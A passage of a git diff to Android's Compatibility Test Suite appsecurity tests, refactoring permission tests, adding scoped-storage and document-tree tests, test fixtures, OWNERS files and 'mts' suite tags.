-                    "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
-        } catch (Throwable expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("App must be killed on a permission revoke");
-        }
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest23",
+                "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part1");
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testGrantPreviouslyRevokedWithPrejudiceShowsPrompt_part2");
     }
@@ -321,15 +288,8 @@
 
     public void testNoDowngradePermissionModel() throws Exception {
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), false, false));
-        boolean didThrow = false;
-        try {
-            assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_22), true, false));
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("Permission mode downgrade not allowed");
-        }
+        assertNotNull("Permission mode downgrade not allowed",
+                getDevice().installPackage(mBuildHelper.getTestFile(APK_22), true, false));
     }
 
     public void testNoResidualPermissionsOnUninstall() throws Exception {
@@ -347,16 +307,8 @@
 
         approveReviewPermissionDialog();
 
-        boolean didThrow = false;
-        try {
-            runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest22",
-                    "testRevokePropagatedOnUpgradeOldToNewModel_part1");
-        } catch (AssertionError expected) {
-            didThrow = true;
-        }
-        if (!didThrow) {
-            fail("App must be killed on a permission revoke");
-        }
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest22",
+                "testRevokePropagatedOnUpgradeOldToNewModel_part1");
         assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_23), true, false));
         runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest23",
                 "testRevokePropagatedOnUpgradeOldToNewModel_part2");
@@ -549,8 +501,28 @@
                 "reviewPermissionWhenServiceIsBound");
     }
 
+    public void testGrantDialogToSettingsNoOp() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), true, false));
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest29",
+                "openSettingsFromGrantNoOp");
+    }
+
+    public void testGrantDialogToSettingsDowngrade() throws Exception {
+        assertNull(getDevice().installPackage(mBuildHelper.getTestFile(APK_29), false, false));
+        runThrowingTest("com.android.cts.usepermission.UsePermissionTest29",
+                "openSettingsFromGrantDowngrade");
+        runDeviceTests(USES_PERMISSION_PKG, "com.android.cts.usepermission.UsePermissionTest29",
+                "assertPermissionsNotGranted");
+    }
+
     private void runDeviceTests(String packageName, String testClassName, String testMethodName)
             throws DeviceNotAvailableException {
         Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
     }
+
+    private void runThrowingTest(String clazz, String testMethod) {
+        assertThrows(
+                instanceOf(AssertionError.class, hasMessageThat(containsString("Process crashed"))),
+                () -> runDeviceTests(USES_PERMISSION_PKG, clazz, testMethod));
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java
new file mode 100644
index 0000000..140ee75
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ThrowingRunnable.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.appsecurity.cts;
+
+/**
+ * Similar to {@link Runnable} but has {@code throws Exception}.
+ */
+public interface ThrowingRunnable {
+    /**
+     * Similar to {@link Runnable#run} but has {@code throws Exception}.
+     */
+    void run() throws Exception;
+}
diff --git a/hostsidetests/appsecurity/test-apps/Android.bp b/hostsidetests/appsecurity/test-apps/Android.bp
index 64bfa62..6d60626 100644
--- a/hostsidetests/appsecurity/test-apps/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/Android.bp
@@ -37,6 +37,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -68,6 +69,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -98,6 +100,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
@@ -130,6 +133,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
@@ -155,6 +159,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     min_sdk_version: "22",
@@ -186,6 +191,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
 }
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index 42242c6..d7b8c37 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -22,6 +22,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     dex_preopt: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
index 29087fb..1f302dd 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTest.java
@@ -28,11 +28,13 @@
 import android.provider.DocumentsContract.Document;
 import android.provider.DocumentsContract.Path;
 import android.provider.DocumentsProvider;
+import android.provider.Settings;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.test.MoreAsserts;
+import android.text.TextUtils;
 import android.util.Log;
 
 import com.android.cts.documentclient.MyActivity.Result;
@@ -130,6 +132,14 @@
         return new UiObject(new UiSelector().resourceId("android:id/button1"));
     }
 
+    private void assertToolbarTitleEquals(String label) throws UiObjectNotFoundException {
+        final UiObject title = new UiObject(new UiSelector().resourceId(
+                getDocumentsUiPackageId() + ":id/toolbar").childSelector(
+                new UiSelector().className("android.widget.TextView").text(label)));
+
+        assertTrue(title.waitForExists(TIMEOUT));
+    }
+
     public void testOpenSimple() throws Exception {
         if (!supportedHardware()) return;
 
@@ -347,6 +357,27 @@
         }
     }
 
+    public void testTree_blockFromTree() throws Exception {
+        if (!supportedHardware()) return;
+
+        final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+        mDevice.waitForIdle();
+        findRoot("CtsCreate").click();
+
+        mDevice.waitForIdle();
+
+        // save button is disabled for root
+        assertFalse(findSaveButton().isEnabled());
+
+        findDocument("DIR2").click();
+
+        mDevice.waitForIdle();
+        // save button is enabled for dir2
+        assertTrue(findSaveButton().isEnabled());
+    }
+
     public void testGetContent_rootsShowing() throws Exception {
         if (!supportedHardware()) return;
 
@@ -609,6 +640,39 @@
         assertTrue(findDocument("FILE4").exists());
     }
 
+    public void testOpenDocumentTreeWithScopedStorage() throws Exception {
+        if (!supportedHardware()) return;
+
+        // Clear DocsUI's storage to avoid it opening stored last location
+        // which may make this test pass "luckily".
+        clearDocumentsUi();
+
+        final Intent intent = new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE);
+        mActivity.startActivityForResult(intent, REQUEST_CODE);
+        mDevice.waitForIdle();
+
+        final String deviceName = Settings.Global.getString(
+                mActivity.getContentResolver(), Settings.Global.DEVICE_NAME);
+
+        // Device name should always be set. In case it isn't, though,
+        // fall back to "Internal Storage".
+        final String title = !TextUtils.isEmpty(deviceName) ? deviceName : "Internal Storage";
+
+        // assert the default root is internal storage root
+        assertToolbarTitleEquals(title);
+
+        // save button is disabled for the root
+        assertFalse(findSaveButton().isEnabled());
+
+        findDocument("Download").click();
+        mDevice.waitForIdle();
+        // save button is disabled for Download folder
+        assertFalse(findSaveButton().isEnabled());
+
+        // no Downloads root
+        assertFalse(findRoot("Downloads").exists());
+    }
+
     public void testOpenRootWithoutRootIdAtInitialLocation() throws Exception {
         if (!supportedHardware()) return;
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index 31fac48..09a4d81 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -163,7 +163,8 @@
 
     protected boolean supportedHardwareForScopedDirectoryAccess() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
-        if (pm.hasSystemFeature("android.hardware.type.watch")
+        if (pm.hasSystemFeature("android.hardware.type.television")
+                || pm.hasSystemFeature("android.hardware.type.watch")
                 || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
         }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index 9a0b9ae..38c9016 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -137,7 +137,7 @@
         mLocalRoot = buildDoc("doc:local", null, Document.MIME_TYPE_DIR, null);
 
         mCreateRoot = buildDoc("doc:create", null, Document.MIME_TYPE_DIR, null);
-        mCreateRoot.flags = Document.FLAG_DIR_SUPPORTS_CREATE;
+        mCreateRoot.flags = Document.FLAG_DIR_SUPPORTS_CREATE | Document.FLAG_DIR_BLOCKS_TREE;
 
         {
             Doc file1 = buildDoc("doc:file1", "FILE1", "mime1/file1", null);
diff --git a/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DuplicatePermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 12bc836..b012ac0 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 78f2fff..30291a0 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -211,6 +211,18 @@
             fail("Expected write access to be blocked");
         } catch (SecurityException | FileNotFoundException expected) {
         }
+
+        // Verify that we can't grant ourselves access
+        for (int flag : new int[] {
+                Intent.FLAG_GRANT_READ_URI_PERMISSION,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+        }) {
+            try {
+                mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
+                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
+            } catch (SecurityException expected) {
+            }
+        }
     }
 
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
index 429ea8b..9188993 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
@@ -92,7 +92,8 @@
                     android:pathPrefix="/yes"
                     android:readPermission="com.android.cts.permissionWithSignature"
                     android:writePermission="com.android.cts.permissionWithSignature" />
-            <grant-uri-permission android:pathPattern=".*" />
+            <grant-uri-permission android:pathPattern="/foo.*" />
+            <grant-uri-permission android:pathPattern="/yes.*" />
         </provider>
 
         <!-- Target for tests that verify path permissions can restrict access
@@ -112,5 +113,6 @@
                     android:writePermission="com.android.cts.permissionNormal" />
         </provider>
 
+        <activity android:name=".SendResultActivity" android:exported="true" />
     </application>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java
new file mode 100644
index 0000000..4fdca81
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/SendResultActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permissiondeclareapp;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class SendResultActivity extends Activity {
+    private static final String TAG = "SendUriActivity";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // For simplicity, we're willing to grant whatever they asked for
+        final ClipData reqClip = getIntent().getParcelableExtra(Intent.EXTRA_TEXT);
+        final int reqMode = getIntent().getIntExtra(Intent.EXTRA_INDEX, 0);
+
+        final Intent result = new Intent();
+        result.setClipData(reqClip);
+        result.addFlags(reqMode);
+
+        try {
+            Log.d(TAG, "Finishing OK with " + result);
+            setResult(RESULT_OK, result);
+            finish();
+        } catch (SecurityException e) {
+            Log.d(TAG, "Finishing CANCELED due to " + e);
+            setResult(RESULT_CANCELED, null);
+            finish();
+
+            // Make sure we hand control back to whoever started us
+            android.os.Process.killProcess(android.os.Process.myPid());
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
index c01f8b8..af55a55 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/Android.bp
@@ -29,6 +29,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     optimize: {
         enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionPolicy25/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
index 0a00438..5488ecb 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
index 7b254dc..30d73f5 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/AndroidManifest.xml
@@ -19,7 +19,7 @@
         package="com.android.cts.reviewpermissionhelper">
 
     <application>
-        <activity android:name=".ActivityStarter" />
+        <activity android:name="com.android.compatibility.common.util.FutureResultActivity" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt
deleted file mode 100644
index 90dbca9..0000000
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ActivityStarter.kt
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.reviewpermissionhelper
-
-import android.app.Activity
-import android.content.Intent
-import android.os.Bundle
-import java.util.concurrent.LinkedBlockingQueue
-
-val installDialogResults = LinkedBlockingQueue<Int>()
-
-class ActivityStarter : Activity() {
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        savedInstanceState ?: installDialogResults.clear()
-    }
-
-    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
-        installDialogResults.offer(resultCode)
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
index 15fdff3..4ceb73c 100644
--- a/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
+++ b/hostsidetests/appsecurity/test-apps/ReviewPermissionHelper/src/com/android/cts/reviewpermissionhelper/ReviewPermissionsTest.kt
@@ -30,13 +30,16 @@
 import androidx.test.rule.ActivityTestRule
 import androidx.test.runner.AndroidJUnit4
 import android.support.test.uiautomator.By
+import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiDevice
-import android.support.test.uiautomator.Until
+import com.android.compatibility.common.util.FutureResultActivity
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
 import org.junit.Assert.assertEquals
 import org.junit.Assert.assertNull
 import org.junit.Rule
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.util.concurrent.CompletableFuture
 import java.util.concurrent.LinkedBlockingQueue
 import java.util.concurrent.TimeUnit
 
@@ -47,43 +50,45 @@
 @RunWith(AndroidJUnit4::class)
 class ReviewPermissionsTest {
     @get:Rule
-    val activityStarter = ActivityTestRule(ActivityStarter::class.java)
+    val activityStarter = ActivityTestRule(FutureResultActivity::class.java)
 
     val instrumentation = InstrumentationRegistry.getInstrumentation()
     val uiDevice = UiDevice.getInstance(instrumentation)
 
-    fun startActivityInReviewedAp() {
+    fun startActivityInReviewedAp(): CompletableFuture<Int> {
         val startAutoClosingActivity = Intent()
         startAutoClosingActivity.component = ComponentName(USE_PERMISSION_PKG,
                 USE_PERMISSION_PKG + ".AutoClosingActivity")
-        activityStarter.activity.startActivityForResult(startAutoClosingActivity, 42)
+        return activityStarter.activity.startActivityForResult(startAutoClosingActivity)
+    }
+
+    private inline fun startActivityInReviewedAp(expectedResult: Int, runAfterStart: () -> Unit) {
+        val activityResult = startActivityInReviewedAp()
+        runAfterStart()
+        assertEquals(expectedResult, activityResult.get(UI_TIMEOUT, TimeUnit.MILLISECONDS))
     }
 
     fun clickContinue() {
-        uiDevice.wait(Until.findObject(
-                By.res("com.android.permissioncontroller:id/continue_button")), UI_TIMEOUT).click()
+        click(By.res("com.android.permissioncontroller:id/continue_button"))
     }
 
     @Test
     fun approveReviewPermissions() {
-        startActivityInReviewedAp()
-        clickContinue()
-        assertEquals(RESULT_OK, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+        startActivityInReviewedAp(expectedResult = RESULT_OK) {
+            clickContinue()
+        }
     }
 
     @Test
     fun cancelReviewPermissions() {
-        startActivityInReviewedAp()
-
-        uiDevice.wait(Until.findObject(
-                By.res("com.android.permissioncontroller:id/cancel_button")), UI_TIMEOUT).click()
-        assertEquals(RESULT_CANCELED, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+        startActivityInReviewedAp(expectedResult = RESULT_CANCELED) {
+            click(By.res("com.android.permissioncontroller:id/cancel_button"))
+        }
     }
 
     @Test
     fun assertNoReviewPermissionsNeeded() {
-        startActivityInReviewedAp()
-        assertEquals(RESULT_OK, installDialogResults.poll(UI_TIMEOUT, TimeUnit.MILLISECONDS))
+        startActivityInReviewedAp(expectedResult = RESULT_OK) {}
     }
 
     @Test
@@ -91,17 +96,17 @@
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
         // Confirm deny
-        uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+        click(By.res("android:id/button1"))
 
         // Grant
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
 
         // Deny
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
 
         uiDevice.waitForIdle()
         clickContinue()
@@ -112,13 +117,13 @@
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
         // Confirm deny
-        uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+        click(By.res("android:id/button1"))
 
         // Grant
         uiDevice.waitForIdle()
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
 
         uiDevice.waitForIdle()
         clickContinue()
@@ -129,14 +134,18 @@
         startActivityInReviewedAp()
 
         // Deny
-        uiDevice.wait(Until.findObject(By.text("Calendar")), UI_TIMEOUT).click()
+        click(By.text("Calendar"))
         // Confirm deny
-        uiDevice.wait(Until.findObject(By.res("android:id/button1")), UI_TIMEOUT).click()
+        click(By.res("android:id/button1"))
 
         uiDevice.waitForIdle()
         clickContinue()
     }
 
+    private fun click(selector: BySelector) {
+        waitFindObject(selector, UI_TIMEOUT).click()
+    }
+
     @Test
     fun reviewPermissionWhenServiceIsBound() {
         val permissionCheckerServiceIntent = Intent()
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
index 9bcf428..705f7c9 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/Android.bp
@@ -35,6 +35,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
index 20be2cc..a1bd122 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/UsePermissionTest22.java
@@ -36,7 +36,6 @@
  * Runtime permission behavior tests for apps targeting API 22
  */
 public class UsePermissionTest22 extends BasePermissionsTest {
-    private static final int REQUEST_CODE_PERMISSIONS = 42;
 
     private final Context mContext = getInstrumentation().getContext();
 
@@ -137,11 +136,9 @@
     public void testNoRuntimePrompt() throws Exception {
         // Request the permission and do nothing
         BasePermissionActivity.Result result = requestPermissions(
-                new String[] {Manifest.permission.SEND_SMS}, REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class, null);
+                new String[]{Manifest.permission.SEND_SMS}, null);
 
         // Expect the permission is not granted
-        assertEquals(REQUEST_CODE_PERMISSIONS, result.requestCode);
         assertTrue(Arrays.equals(result.permissions, new String[0]));
         assertTrue(Arrays.equals(result.grantResults, new int[0]));
     }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
index 5286c5f..30029bb 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/Android.bp
@@ -36,6 +36,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
new file mode 100644
index 0000000..8075c9c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/OWNERS
@@ -0,0 +1,2 @@
+moltmann@google.com
+eugenesusla@google.com
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
index cacfa80..48dafef 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java
@@ -20,23 +20,33 @@
 import android.os.Bundle;
 import android.view.WindowManager;
 
+import java.util.Map;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ConcurrentHashMap;
